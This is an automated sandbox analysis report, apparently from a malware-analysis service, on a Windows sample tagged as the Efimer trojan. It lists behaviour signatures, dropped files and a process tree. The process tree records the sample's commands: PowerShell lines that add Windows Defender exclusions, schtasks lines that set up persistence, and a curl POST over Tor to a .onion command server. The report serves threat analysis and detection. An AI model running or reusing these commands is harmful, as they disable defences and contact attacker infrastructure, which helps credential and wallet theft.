Analysis
- max time kernel
149s - max time network
151s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
13/05/2026, 02:11
General
- Target common.dat.exe
- Size 13.2MB
- Sample260513-cmjetsby7v
- SHA256 ab3dd2d1df2945ba2e66b472562cb01461f142e606c84a1c5ed4b88d6aac0001
Malware Config
Signatures
- Family: Efimer
Efimer is a trojan written in JS.
- Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 15 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 14 IoCs
- Suspicious use of AdjustPrivilegeToken 7 IoCs
- Suspicious use of WriteProcessMemory 18 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\common.dat.exe"C:\Users\Admin\AppData\Local\Temp\common.dat.exe"1⤵
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\common.dat.exe"C:\Users\Admin\AppData\Local\Temp\common.dat.exe"2⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents\ohuye'""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents\ohuye'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Get-MpComputerStatus | Out-Null""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Get-MpComputerStatus | Out-Null"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SYSTEM32\curl.execurl -s --max-time 10 https://ipinfo.io/country3⤵
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C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn evelo /xml C:\Users\Public\Documents\ohuye\evelo.xml /f3⤵
- Scheduled Task/Job: Scheduled Task
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C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn inuja /xml C:\Users\Public\Documents\ohuye\inuja.xml /f3⤵
- Scheduled Task/Job: Scheduled Task
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C:\Windows\System32\wscript.exeC:\Windows\System32\wscript.exe1⤵
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C:\Windows\System32\wscript.exeC:\Windows\System32\wscript.exe C:\Users\Public\Documents\ohuye\evelo.js1⤵
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C:\Windows\System32\wscript.exeC:\Windows\System32\wscript.exe C:\Users\Public\Documents\ohuye\inuja.js1⤵
- Suspicious use of WriteProcessMemory
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C:\Users\Public\Documents\ohuye\ugate.exe"C:\Users\Public\Documents\ohuye\ugate.exe"2⤵
- Executes dropped EXE
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C:\Windows\System32\curl.exe"C:\Windows\System32\curl.exe" -X POST -d "version=2.0&GUID=vt1z-e9bf4244&FLAG=0&GEIP=??&action=GUID" --socks5-hostname localhost:9050 http://cgky6bn6ux5wvlybtmm3z255igt52ljml2ngnc5qp3cnw5jlglamisad.onion/route.php --max-time 30 -o C:\Users\Admin\AppData\Local\Temp\cfile2⤵
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2JavaScript
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
VCRUNTIME140.dll
VCRUNTIME140_1.dll
_bz2.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
_socket.pyd
_uuid.pyd
_wmi.pyd
base_library.zip
addrs.txt
jobfs_d.js
jobfs_n.js
jpack.js
task.xml
ugate.exe
words.txt
libcrypto-3.dll
libffi-8.dll
_psutil_windows.pyd
pyarmor_runtime.pyd
python3.DLL
python313.dll
select.pyd
unicodedata.pyd
__PSScriptPolicyTest_x0kqtpmd.3a1.ps1
cfile
cached-microdesc-consensus
cached-microdescs.new
GUID
addrs.txt
evelo.js
evelo.xml
inuja.js
inuja.xml
ugate.exe
words.txt
memory/1816-84-0x00000224D9D30000-0x00000224D9D3A000-memory.dmp
memory/1816-81-0x00000224D9F80000-0x00000224DA033000-memory.dmp
memory/1816-65-0x00000224D7BA0000-0x00000224D7BB0000-memory.dmp
memory/1816-88-0x00000224DA2A0000-0x00000224DA2AA000-memory.dmp
memory/1816-87-0x00000224DA290000-0x00000224DA296000-memory.dmp
memory/1816-86-0x00000224D9D40000-0x00000224D9D48000-memory.dmp
memory/1816-85-0x00000224DA2B0000-0x00000224DA2CA000-memory.dmp
memory/1816-64-0x00000224D7BA0000-0x00000224D7BB0000-memory.dmp
memory/1816-71-0x00000224D9C90000-0x00000224D9CB2000-memory.dmp
memory/1816-73-0x00000224D7BA0000-0x00000224D7BB0000-memory.dmp
memory/1816-80-0x00000224D9D00000-0x00000224D9D1C000-memory.dmp
memory/1816-83-0x00000224D9D50000-0x00000224D9D6C000-memory.dmp
memory/1816-82-0x00000224D9D20000-0x00000224D9D2A000-memory.dmp
memory/2340-61-0x00007FF636FD0000-0x00007FF637002000-memory.dmp
memory/2340-199-0x00007FF636FD0000-0x00007FF637002000-memory.dmp
memory/4408-63-0x0000000070180000-0x000000007022B000-memory.dmp
memory/4408-198-0x0000000070180000-0x000000007022B000-memory.dmp
memory/4408-197-0x00007FF636FD0000-0x00007FF637002000-memory.dmp
memory/4408-62-0x00007FF636FD0000-0x00007FF637002000-memory.dmp